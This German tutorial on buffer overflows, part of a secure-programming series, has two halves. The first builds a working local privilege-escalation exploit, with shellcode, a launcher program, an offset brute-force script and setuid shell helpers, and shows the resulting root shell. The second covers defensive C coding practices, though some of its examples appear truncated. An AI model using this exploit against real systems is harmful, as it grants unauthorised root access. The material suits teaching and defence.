Home  |  Plan  |  Index  |  Suchen

Convert to GutenPalm or to PalmDoc von Frédéric Raynal, Christophe Blaess, Christophe Grenier Über den Autor: Christophe Blaess ist ein unabhängiger Raumfahrtingenieur. Er ist ein Linuxfan und arbeitet die meiste Zeit mit diesem System. Er koordiniert die Übersetzung der Man-pages, die vom Linux Dokumentationsprojekt veröffentlicht werden. Christophe Grenier ist Student im fünften Semester an der ESIEA, wo er auch als Systemadministrator arbeitet. Er hat eine Leidenschaft für Computersicherheit. Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von künstlichen Hormonen und ohne BSE .... es enthält nur den Schweiß ehrlicher Leute und einige Tricks. Inhalt: Buffer Overflow Die Position im Speicher Startprogramm Shell Probleme Abwehr und Vorsorge Index prüfen Benutze die n Funktionen Überprüfen der Daten in zwei Stufen Dynamic buffers Zusammenfassung Links Links Talkback für diesen Artikel

Vermeiden von Sicherheitslöchern beim Entwickeln einer Applikation - Teil 3: Buffer Overflow

Zusammenfassung:

Ein Buffer Overflow (Überlauf eines Pufferspeichers) entsteht, wenn Daten über die Grenzen eines Speicherbereichs hinaus geschrieben werden. In diesem Artikel erzeugen wir einen echten Buffer Overflow in einem Programm. Wir zeigen, das der Buffer Overflow ein leicht auszunutzendes Sicherheitsloch darstellt und wie man es vermeidet. In diesem Artikel wird angenommen, daß du die beiden vorangegangenen Artikel gelesen hast:

• Teil 1
• Teil 2

Buffer Overflow

In unserem vorangegangenen Artikel haben wir eine kleines Programm , ca 50 Bytes groß, geschrieben das eine Shell startete oder im Fehlerfall abbrach. Nun wird diese Programm in die Applikation, die wir angreifen möchten, eingefügt. Das macht man, indem die Rücksprungadresse einer Funktion überschrieben wird und durch die Adresse des Shellcodes ersetzt wird. Der Stack wird manipuliert, indem Daten über die Grenzen einer automatisch allokierten Stack-Variablen hinausgeschrieben werden (Buffer Overflow).

In dem folgenden Programm wird das erste Kommandozeilenargument in eine Variable, die 500 Bytes lang ist, kopiert. Der Kopiervorgang erfolgt ohne zu testen, ob die Daten größer als 500 Bytes sind. Wir werden weiter unten sehen, daß man dieses Problem hätte vermeiden können, wenn die Funktion strncpy() benutzt worden wäre.

  /* vulnerable.c */

  #include <string.h>

  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer ist eine automatische Variable. Der Speicherplatz von 500 Bytes wird auf dem Stack reserviert, sobald die Funktion main() aufgerufen wird. Wenn wir das so verletzbare Programm mit einem Kommandozeilenargument aufrufen, das länger als 500 Zeichen ist, dann läuft der Speicherbereich über und schreibt ungültige Daten in den Prozeßstack. Wie wir zuvor gesehen haben, enthält der Stack die als nächstes auszuführende Adresse (genannt Rücksprungadresse). Um dieses Sicherheitsloch auszunutzen, ist es genug die Rücksprungadresse mit der Adresse unseres Shellcodes zu überschreiben. Der Shellcode selbst wird einfach in der Variablen abgelegt.

Die Position im Speicher

Die richtige Speicheradresse unseres Shellcodes zu erhalten, ist etwas trickreich. Wir müssen den Offset zwischen dem %esp Register und dem oberen Ende des Stacks finden. Um eine kleine Sicherheitszone zu erhalten und unsere Chancen zu verbessern, füllen wir den Anfang des überschriebenen Speicherbereiches mit der Assembleranweisung NOP. Es ist eine 1 Byte Anweisung, die nichts macht. Es wird einfach zur nächsten Adresse gesprungen. Wenn wir unsere Startadresse versehentlich etwas zu weit vorne ansetzen, dann geht die CPU einfach von NOP zu NOP, bis unser Shellcode erreicht ist und ausgeführt wird. Um die Treffsicherheit noch weiter zu verbessern setzen wir unseren Shellcode in die Mitte des überschriebenen Speicherbereiches. Vorneweg stellen wir NOP Anweisungen und das Ende füllen wir mit Sprunganweisungen auf, die auf den Anfang des Shellcodes zeigen. Das Abbildung 1 zeigt das:

Abb. 1 : Speicherbereiche speziell präpariert für den Angriff.

Abbildung 2 beschreibt den Zustand des Stacks von und nach dem Buffer Overflow. All die gespeicherten Register (abgespeicherter %ebp, %eip, Argumente...) werden mit einer neuen Rücksprungadresse überschrieben: Der Anfangsadresse unseres Shellcodes.

Abb. 2 : Zustand des Stacks vor und nach dem Overflow

Vor	Nach

Es gibt jedoch noch ein weiteres Problem, das mit der Ausrichtung von Variablen im Stack zusammenhängt (variable alignment). Die Adresse der Variablen ist länger als 1 Byte und wird daher in mehreren Bytes abgespeichert. Damit kann die Ausrichtung im Speicher unterschiedlich sein. Da unsere CPU 4 Byte Worte benutzt, kann die Ausrichtung (alignment) 0, 1, 2 oder 3 Bytes sein (siehe Teil 2 = article 183 über Stackaufbau). In Abbildung 3, entsprechen die grauen Teile den 4 Bytes der Adresse. Nur im ersten Fall, bei dem die Variable komplett überschrieben wird, ist der Angriff erfolgreich. Die anderen Versuche führen zu segmentation violation oder illegal instruction Fehlern. Man kann das bei einem beliebigen Programm nur empirisch herausfinden, aber mit den heutigen Computern ist diese Art von Tests kein Problem.

Abb. 3 : mögliche Ausrichtungen eines 4 Byte Wortes

Startprogramm

Wir werden ein kleines Programm schreiben, das die anzugreifende Applikation startet und einen Buffer Overflow erzeugt. Dieses Programm hat verschiedene Optionen, um den Shellcode im Speicher zu positionieren. Diese Version geht auf Aleph Ones Artikel aus dem phrack Magazine 49 zurück und kann von Christophe Greniers Webseite heruntergeladen werden.

Wie schreiben die präparierten Daten in die anzugreifende Applikation? Normalerweise kann man einen Kommandozeilenparameter wie den im oben vorgestellten vulnerable.c Programm oder eine Umgebungsvariable benutzen. Die Daten können auch aus einer Datei gelesen werden.

Das generic_exploit.c allokiert die richtige Buffergröße, kopiert den Shellcode dorthin und füllt den Rest mit NOP Anweisungen wie oben erklärt. Als nächstes wird die anzugreifende Applikation mit execve() gestartet und ein Buffer Overflow erzeugt. Das Lauch Programm generic_exploit braucht die folgenden Parameter:
Größe der verletzbaren Variablen (der Wert sollte ein wenig größer sein, um zu erreichen, daß die Rücksprungadresse auch überschrieben wird).
Außerdem Memory Offset und Ausrichtung (alignment).
Wir müssen weiterhin angeben, ob der Overflow über eine Umgebungsvariable (var) oder über die Kommandozeile (novar) erfolgt. Der Parameter force/noforce entscheidet, ob die setuid()/setgid() Funktion aus dem Shellcode heraus ausgeführt oder nicht.

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Um unser vulnerable.c Programm anzugreifen, müssen wir einen Speicherbereich belegen, der größer ist als die Länge der Variablen im Programm. Wir nehmen 600 Bytes (die Variable ist 500 Bytes lang). Wir finden den Offset zum Anfang des Stacks über einfache Tests. Die Adresse, die mit der Anweisung addr = get_sp() + offset; erzeugt wird, wird benutzt, um die Rücksprungadresse zu überschreiben. Du wirst den richtigen Wert mit etwas Glück finden. Die ganze Sache beruht auf der Annahme, daß das %esp Register sich nicht zu stark zwischen dem am Anfang aufgerufenen und dem am Ende gestarteten Prozeß ändern wird. In der Praxis ist natürlich nichts wirklich sicher. Verschiedene Ereignisse könnten den Zustand des Stacks von dem Zeitpunkt der Berechnung bis zum eigentlichen Angriff verändern. Hier haben wir es geschafft, einen Angriff mit einem Offset von -1900 Bytes zu starten. Natürlich muß, damit die Sache Sinn macht, unser vulnerable Programm ein Set-UID root Programm sein.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit

Um automatisch geeignete Offsets Werte zu erhalten, kann man folgendes kleines Shellscript benutzen:

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done

Shell Probleme

Leider ist die von unserem Shellcode gestartete Shell manchmal nicht nutzbar, da sie sich selbst beendet oder stirbt, sobald man eine Taste drückt. Wir benutzen ein weiteres Programm, um die Privilegien, die wir so mühsam erworben haben auch zu behalten:

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>

int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Da unser Programm nur eine Aufgabe gleichzeitig ausführen kann, transferrieren wir die Privilegien, die wir mit dem run_shell Programm erworben haben mit Hilfe des set_run_shell Programmes. Damit erhalten wir eine stabile Shell.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}

Abwehr und Vorsorge

Bisher haben wir gezeigt, wie man einen Buffer Overflow in einem verletzbaren Programm erzeugt. Jetzt werden wir zeigen, wie man solche Sicherheitslöcher beim Programmieren vermeiden kann.

Index prüfen

Die erste Regel ist, daß man den Index eines Arrays immer überprüft. Eine ungeschickt programmierte Schleife wie :

  for (i = 0; i <= n; i ++) {
    table [i] = ...

Das gleiche Problem findet man bei Strings. Bedenke, daß immer ein Byte mehr gebraucht wird für das abschließende Nullzeichen. Eines der häufigsten Anfängerprobleme ist das Vergessen dieses abschließenden '\0' Zeichens. So ein Fehler ist außerdem schwer zu diagnostizieren, da die Ausrichtung vom Compiler abhängt und das Programm oft einwandfrei laufen kann.

Unterschätze Array Index Variablen nicht bezüglich ihres Sicherheitsproblemes. Nur ein Byte zu viel (siehe Phrack Ausgabe 55) ist genug, um ein Sicherheitsloch zu erzeugen.

  #define BUFFER_SIZE 128

  void foo(void) {

    char buffer[BUFFER_SIZE+1];

    /* end of string */
    buffer[BUFFER_SIZE] = '\0';

    for (i = 0; i<BUFFER_SIZE; i++)
      buffer[i] = ...
  }

Benutze die n Funktionen

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT];
    strcpy (identity, name);
    ...
  }

Man muß jedoch vorsichtig sein, da diese Funktionen im Fehlerfall einen sogenannten Eckeneffekt haben. Wenn der Quellstring kürzer als die Zielvariable ist, dann wird das Null Byte mitkopiert und der String in der Zielvariablen ist sauber terminiert. Das ist nicht der Fall, wenn der String zu lang war. In diesem Fall muß man das Null Byte zusätzlich einfügen. Damit sieht unser Code von oben so aus:

  #define LG_IDENT 128

  int fonction (const char * name)
  {
    char identity [LG_IDENT+1];
    strncpy (identity, name, LG_IDENT);
    identity [LG_IDENT] = '\0';
    ...
  }

Mit sprintf() kopiert man formatierte Daten in einen String. Auch diese Funktion gibt es als 'n'-Funktion: snprintf(). Die Funktion gibt die Anzahl der in die Variable geschriebenen Zeichen zurück (ohne das `\0' Zeichen zu zählen). Testet man diesen Rüchgabewert, so kann man sehen, ob alles korrekt geschrieben wurde:

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* Overflow */
    ...
  }

Offensichtlich ist diese Abfrage nichts wert, da der Benutzer schon die Kontrolle über den Stack hat. Solch ein Sicherheitsloch in BIND (Berkeley Internet Name Daemon) wurde von vielen Crackern ausgenutzt:

  struct hosten *hp;
  unsigned long address;

  ...

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

  struct hosten *hp;
  unsigned long address;

  ...

  /* test */
  if (hp->h_length > sizeof(address))
    return 0;

  /* copy of an address */
  memcpy(&address, hp->h_addr_list[0], hp->h_length);
  ...

Überprüfen der Daten in zwei Stufen

Das betrifft vor allem Stringeingaberoutinen. Niemals sollte man gets(char *array) benutzen (Anmerkung des Autors: Diese Funktion sollte durch den Linker verboten werden!). Eine heimtückische Falle liegt in scanf():

scanf ("%s", string)

  char buffer[256];
  scanf("%255s", buffer);

C++ hat das gleiche Problem wie die Eingabefunktionen von C.

  char buffer[500];
  cin>>buffer;

Die richtige Lösung für unser scanf() Problem ist, zuerst die Länge zu begrenzen und dann die Zeichenkette mit sscanf() zu lesen. Das gilt für alle Probleme dieser Art. Wir benutzen also erst fgets(char *array, int size, FILE stream) und begrenzen damit die Länge. Als nächstes formatieren wir die Daten mit sscanf(). Im ersten Schritt kann man sogar noch mehr machen, wie z.B fgets innerhalb einer Schleife einen ausreichend großen Speicherbereich allokieren zu lassen. Die Gnu Funktion getline() macht das bereits für dich. Man kann die Daten auch noch validieren mit Funktionen wie isalnum(), isprint(), etc. Die Funktion strspn() ist ein guter Filter. Das Programm wird nur wenig langsamer, ist jedoch vor illegalen Daten geschützt.

Direkte Dateneingabe ist nicht der einzige Punkt für einen Anriff. Es gibt noch Daten, die je nach Programm, über das Netzwerk oder aus einer Datei kommen können. Hier gelten die gleichen Regeln.

Sehr oft benutzen die Buffer Overflow Angriffe etwas anderes: Umgebungsvariablen. Man darf nicht vergessen das ein Benutzer die Möglichkeit hat, die Prozeßumgebung völlig zu verändern. Die Konvention, daß Umgebungsvariablen immer die Form "NAME=VALUE" haben, muß nicht stimmen. Die Routine getenv() erfordert einige Vorsicht. Erst die Ausgabe von getenv() mit fgets(char *array, int size, FILE stream) lesen, validieren, und dann die Daten benutzen!

Filter benutzt man so, daß alles, was nicht explizit erlaubt ist, verboten wird:

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* Getting the data */
    data = getenv(var);

    /* Filtering
       Rem : obviously the replacement character must be
             in the list of the allowed ones !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

Die Funktion strspn() macht es uns einfach: Sie sucht nach dem ersten Zeichen, das nicht in der Kette GOOD enthalten ist. Zurückgegeben wird die Länge des Strings bis zum nicht erwarteten Zeichen. Man sollte die Logik niemals umdrehen. Immer gegen einen Zeichensatz mit den erwarteten Zeichen testen und niemals nur die gefährlichen Zeichen rauslöschen.

Dynamic buffers

Ein Buffer Overflow beruht darauf, daß der Stack überschrieben wird. Auf dem Stack liegen die automatischen Daten. Eine Möglichkeit das Problem zu verschieben, ist einfach dynamische Variablen zu benutzen, die physikalisch auf der heap liegen. Dazu ersetzt man

  #define LG_STRING    128
  int fonction (...)
  {
    char array [LG_STRING];
    ...
    return (result);
  }

  #define LG_STRING    128
  int fonction (...)
  {
    char *string = NULL;
    if ((string = malloc (LG_STRING)) == NULL)
        return (-1);
    memset(string,'\0',LG_STRING);
    [...]
    free (string);
    return (result);
  }

Zum Abschluß möchten wir noch sagen, daß es in einigen Fällen möglich ist Sicherheitslöcher temporär zu stopfen, indem man einfach ein static vor die Variable schreibt. Der Compiler allokiert diese Variablen in einem Segment, das weit vom Stack entfernt ist. Es wird unmöglich, eine Shell damit zu starten, aber man kann trotzdem Daten manipulieren oder das Programm zum Abstürzen bringen und das wiederum kann für einen DoS (Denial of Service) Angriff nützlich sein. Natürlich funktioniert das nicht, wenn eine Funktion rekursiv aufgerufen wird. Diese "Medizin" sollte man als erste Hilfe betrachten und benutzen bis eine richtige Lösung vorhanden ist.

Zusammenfassung

Links

Links

• Die Seite von Christophe Blaess : perso.club-internet.fr/ccb/
• Die Seite von Christophe Grenier : www.esiea.fr/public_html/Christophe.GRENIER/
• Die Seite von Frédéric Raynal : www-rocq.inria.fr/~raynal/
• Phrack Magazine : phrack.infonexus.com/.
• Heap overflow : www.w00w00.org/files/articles/heaptut.txt

Talkback für diesen Artikel

2001-05-01, generated by lfparser version 2.13

mirror server hosted at Truenetwork, Russian Federation.